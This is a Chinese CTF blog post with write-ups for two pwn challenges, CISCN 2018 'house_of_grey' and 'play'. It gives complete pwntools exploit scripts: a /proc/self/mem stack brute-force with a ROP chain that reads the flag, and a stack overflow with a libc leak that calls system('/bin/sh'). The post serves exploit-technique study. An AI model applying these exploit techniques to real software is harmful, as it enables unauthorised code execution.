四月份刷题

四月份刷题

2018ciscn:https://github.com/killshadow/CTF_WP/tree/master/2018ciscn/pwn
2018ciscn_wp : https://www.xctf.org.cn/media/infoattach/55ec909c4c2340998be053ad70613f49.pdf

house_of_grey

参考:http://p4nda.top/2018/05/13/ciscn-ctf-2018/#house-of-grey
关于clone:https://blog.csdn.net/gatieme/article/details/51417488

这个题是可以实现文件的读写,只要给出文件路径即可,所以我们可以通过读/proc/self/maps来绕过pie。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
p.recvuntil('Y/n')
p.sendline('y')
p.recvuntil('Exit')
p.sendline('1')
p.recvuntil('finding?')

p.sendline('/proc/self/maps')
p.recvuntil('Exit')
p.sendline('3')
p.recvuntil('get?')
p.sendline('10000')
p.recvuntil('something:\n')

pie = int('0x'+p.recvuntil('-')[:-1],16)
print '[+] pie:',hex(pie)

打印/proc/self/maps文件信息就可以知道pie了,包括code、heap、stack和libc
下面是/proc/self/maps文件的一个内容例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
563fc76f0000-563fc76f2000 r-xp 00000000 08:01 154325                     /home/zoe/Desktop/gongfangshijie/jinjie/house/house
563fc78f2000-563fc78f3000 r--p 00002000 08:01 154325 /home/zoe/Desktop/gongfangshijie/jinjie/house/house
563fc78f3000-563fc78f4000 rw-p 00003000 08:01 154325 /home/zoe/Desktop/gongfangshijie/jinjie/house/house
563fc89a3000-563fc89dc000 rw-p 00000000 00:00 0 [heap]
7f342be6f000-7f343be6f000 rw-p 00000000 00:00 0
7f343be6f000-7f343c02f000 r-xp 00000000 08:01 399109 /lib/x86_64-linux-gnu/libc-2.23.so
7f343c02f000-7f343c22f000 ---p 001c0000 08:01 399109 /lib/x86_64-linux-gnu/libc-2.23.so
7f343c22f000-7f343c233000 r--p 001c0000 08:01 399109 /lib/x86_64-linux-gnu/libc-2.23.so
7f343c233000-7f343c235000 rw-p 001c4000 08:01 399109 /lib/x86_64-linux-gnu/libc-2.23.so
7f343c235000-7f343c239000 rw-p 00000000 00:00 0
7f343c239000-7f343c25f000 r-xp 00000000 08:01 399081 /lib/x86_64-linux-gnu/ld-2.23.so
7f343c440000-7f343c443000 rw-p 00000000 00:00 0
7f343c45e000-7f343c45f000 r--p 00025000 08:01 399081 /lib/x86_64-linux-gnu/ld-2.23.so
7f343c45f000-7f343c460000 rw-p 00026000 08:01 399081 /lib/x86_64-linux-gnu/ld-2.23.so
7f343c460000-7f343c461000 rw-p 00000000 00:00 0
7ffcb6f7b000-7ffcb6f9c000 rw-p 00000000 00:00 0 [stack]
7ffcb6ff2000-7ffcb6ff5000 r--p 00000000 00:00 0 [vvar]
7ffcb6ff5000-7ffcb6ff7000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]

接收地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
while 1:
a = p.recvline()
if 'heap' in a:
a = p.recvline()
stack_start = int(a.split('-')[0],16)
stack_end = int((a.split('-')[1]).split(' ')[0],16)
print '[+] stack_start:',hex(stack_start)
print '[+] stack_end:',hex(stack_end)
break
while 1:
a = p.recvline()
if 'libc' in a:
libc.address = int(a.split('-')[0],16)
print '[+] system:',hex(libc.symbols['system'])
break
1
2
3
4
5
0x000056459a0a9000 0x000056459a0ab000 r-xp	/home/zoe/Desktop/gongfangshijie/jinjie/house/house
0x000056459a2ab000 0x000056459a2ac000 r--p /home/zoe/Desktop/gongfangshijie/jinjie/house/house
0x000056459a2ac000 0x000056459a2ad000 rw-p /home/zoe/Desktop/gongfangshijie/jinjie/house/house
0x000056459a798000 0x000056459a7d1000 rw-p [heap]
0x00007fb549559000 0x00007fb559559000 rw-p mapped

这里注意为什么stack在heap后面呢,首先可以通过调试知道,其次因为题目中是clone一个线程运行的读文件程序,然后会发现stack的地址不是从mmap出来的end地址开始的,而是有一个随机偏移之后才开始的。要得到准确的stack初始地址还需要爆破,思路来自于P4nda师傅:
存在另外一个文件/proc/self/mem,这个文件相当于程序内存的一个映射。在测试过程中发现,其栈起始地址与mmap内存块的结束地址相差了一个随机值,而这个随机值是有一定范围的:0xf000000~0xfffffff之间,是可以爆破的,而爆破的过程是,首先利用case 2的定位函数,预先设定一个读取内存地址的起始值,然后不断的向下读,由于程序栈中存在一个明显的字符串标识”/proc/self/mem”,当读到的数据中包含这个字符串时就可以判断找到了栈。

可以简单验证一下可行性,爆破的次数最多可以有24次(共可以进行30次操作,其他操作占有次数),24*100000 = 2400000 = 0x249f00 , 而可能的范围是0x1000000 其概率为0.1430511474609375,是可以接受的。

攻击思路就是将任意地址写漏洞可以将case 4中的read参数劫持到read函数的返回地址处,也就是是read自身覆写自身的返回地址… 这样在read函数结束时也就返回到了通过写入的rop中。另外此题的坑点还有系统调用的限制,最终可以通过open(‘/home/ctf/flag’) read(6,buf,0x100) puts(buf)读出。

Linux /proc/pid目录下相应文件的信息说明和含义:
https://blog.csdn.net/enweitech/article/details/53391567
https://my.oschina.net/emptytimespace/blog/388207

详细脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#coding:utf-8
from pwn import *
from ctypes import *
debug = 1
elf = ELF('./house')
#xctf{f58867c788e259cdb9143ddf9ec53bbd}
if debug:
p = process('./house')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#context.log_level = 'debug'
else:
p = remote('111.198.29.45',32285)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#off = 0x001b0000
#context.log_level = 'debug'

p.recvuntil('Y/n')
p.sendline('y')
p.recvuntil('Exit')
p.sendline('1')
p.recvuntil('finding?')

p.sendline('/proc/self/maps')
p.recvuntil('Exit')
p.sendline('3')
p.recvuntil('get?')
p.sendline('10000')
p.recvuntil('something:\n')

pie = int('0x'+p.recvuntil('-')[:-1],16)
print '[+] pie:',hex(pie)

while 1:
a = p.recvline()
if 'heap' in a:
a = p.recvline()
stack_start = int(a.split('-')[0],16)
stack_end = int((a.split('-')[1]).split(' ')[0],16)
print '[+] stack_start:',hex(stack_start)
print '[+] stack_end:',hex(stack_end)
break
while 1:
a = p.recvline()
if 'libc' in a:
libc.address = int(a.split('-')[0],16)
print '[+] system:',hex(libc.symbols['system'])
break

#pause()
canary = 0
p.recvuntil('Exit')
p.sendline('1')
p.recvuntil('finding?')
p.sendline('/proc/self/mem')
p.recvuntil('Exit')
p.sendline('2')
p.recvuntil('you?')

# stack from high to low address
stack_guess = 0xf800000
p.sendline(str(stack_end - stack_guess - 24*100000)) # offset
print '[+] offset from ',hex( stack_guess + 24*100000),'to',hex(stack_guess)
print '[+] from ',hex(stack_end - stack_guess - 24*100000),'to',hex(stack_end - stack_guess)
for i in range(0,24):
p.recvuntil('Exit')
p.sendline('3')
p.recvuntil('get?')
p.sendline('100000')
p.recvuntil('something:\n')
tmp = p.recvuntil('1.Find ')[:-7]
if '/mem' in tmp:
print '[+++] find'
print tmp.split('/proc/self/mem')[0]
canary = u64(tmp.split('/proc/self/mem')[0][-0x48:-0x40])
break

stack_address = stack_end - stack_guess - 24*100000 + i *100000 + len(tmp.split('/proc/self/mem')[0])

if canary==0:
print '[-] fail'
exit(0)
print '[+] canary :',hex(canary)
print '[+] stack :',hex(stack_address)

p.recvuntil('Exit')
p.sendline('1')
p.recvuntil('finding?')
p.sendline('/proc/self/mem'+'\x00'*(0x18-14)+p64(stack_address-56)) # overflow to v8
p.recvuntil('Exit')
p.sendline('4')
p.recvuntil('content')
# rop -> open(‘/home/ctf/flag’) read(6,buf,0x100) puts(buf)
rop =p64(pie+0x0000000000001823)+p64(stack_address-56+0x100)+p64(pie+0x0000000000001821)+p64(0)+p64(0)+p64(pie+elf.symbols['open'])+p64(pie+0x0000000000001823)+p64(6)+p64(pie+0x0000000000001821)+p64(stack_address-56+0x100)+p64(stack_address-56+0x100)+p64(pie+elf.symbols['read'])+p64(pie+0x0000000000001823)+p64(stack_address-56+0x100)+p64(pie+elf.symbols['puts'])
rop +='a'*(0x100-len(rop)) # ljust 0x100
rop += '/home/ctf/flag\0'
p.sendline(rop)

p.interactive()
'''
0x0000000000001823 : pop rdi ; ret
0x0000000000001821 : pop rsi ; pop r15 ; ret
'''

P4anda师傅的ciscn final 记:

赛博地球杯 play

主要逻辑:
就是一个hero打monster的游戏,总共4个选项:1. hacking;2. change host;3. change methods;4. exit。

  • 选项1:互相攻击,hero死了就直接exit,monster死了并且monster达到3级(初始为0),就能进入vul_func()函数,触发栈溢出漏洞;没有达到3级,则monster升级1次
  • 选项2:恢复血力。
  • 选项3:改变技能。

这道题主要目标就是3次打败monster,使它升到3级,然后触发vul_func()函数。但是恢复血力时,相应的monster也会恢复血力,恢复的值还比hero的血还高一些,所以无解。但是因为是fork线程,存储hero的结构是用mmap申请的空间,可以通过输入已有的用户名,从文件中来的,即线程之间是共享内存,所以我们可以一边实现加血,一边打怪升级到溢出点即可。

打怪exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *

context(os='linux',arch='amd64',aslr = 'False',log_level='debug')
DEBUG = 0
if DEBUG:
p = process('./play')
#p = process(['./play'], env={'LD_PRELOAD': os.path.join(os.getcwd(),'libc.so.6')})
#context.log_level = 'debug'
#libc = ELF('libc.so.6')#libc.so.6 #/lib/x86_64-linux-gnu/libc-2.24.so
else:
p = remote('111.198.29.45',31012)
#libc = ELF('libc.so.6')

libc = ELF('libc6-i386_2.23-0ubuntu10_amd64.so')
#libc = ELF('libc.so.6')
p.recvuntil('login:')
p.sendline('bsauce')


def hacking():
p.recvuntil('choice>> ')
p.send('1\n')
p.recvuntil('(1:yes/0:no):')
p.send('1\n')

def change_host():
p.recvuntil('choice>> ')
p.send('2\n')


def change_methods():
p.recvuntil('choice>> ')
p.send('3\n')
p.recvuntil('choice>> ')
p.send('1\n')

change_methods()
i=0
j=0
while 1:
hacking()
data=p.recvuntil('\n')
#print data
if "win" in data:
i+=1
print data
if i>=3:
time.sleep(1)
if i==4:
break
#raw_input()
#if()

#gdb.attach(p,"b *0x8048F02")
#p.recvuntil('ame:')
data='a'*0x48+'a'*4+p32(0x8048670)+p32(0x8048EC7)+p32(0x804B01C)
p.sendline(data)
print p.recvuntil('welcome\n')
zz=p.recvuntil('\xf7')
print len(zz),hex(u32(zz[0:4]))
print zz

chdir_addr=u32(zz[-4:])
print hex(chdir_addr)

libc_base=chdir_addr-libc.symbols['chdir']

print hex(libc_base)
system_addr=libc_base+libc.symbols['system']
bin_sh_addr=libc_base+next(libc.search('/bin/sh'))
payload = 'a'*(0x48+4) + p32(system_addr) + p32(0x80488A8) + p32(bin_sh_addr)
p.recvuntil("name")
p.sendline(payload)
p.interactive()

同时运行加血exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *

context(os='linux',arch='amd64',aslr = 'False',log_level='debug')
DEBUG = 0
if DEBUG:
p = process('./play')
#p = process(['./play'], env={'LD_PRELOAD': os.path.join(os.getcwd(),'libc.so.6')})
#context.log_level = 'debug'
#libc = ELF('libc.so.6')#libc.so.6 #/lib/x86_64-linux-gnu/libc-2.24.so
else:
p = remote('111.198.29.45',31012)
#libc = ELF('libc.so.6')

p.recvuntil('login:')
p.sendline('bsauce')

def hacking():
p.recvuntil('choice>> ')
p.send('1\n')
p.recvuntil('(1:yes/0:no):')
p.send('1\n')

def change_host():
p.recvuntil('choice>> ')
p.send('2\n')

def change_methods():
p.recvuntil('choice>> ')
p.send('3\n')
p.recvuntil('choice>> ')
p.send('1\n')

while 1:
change_host()

这道题感觉主要是在找libc的时候找了几个才找到。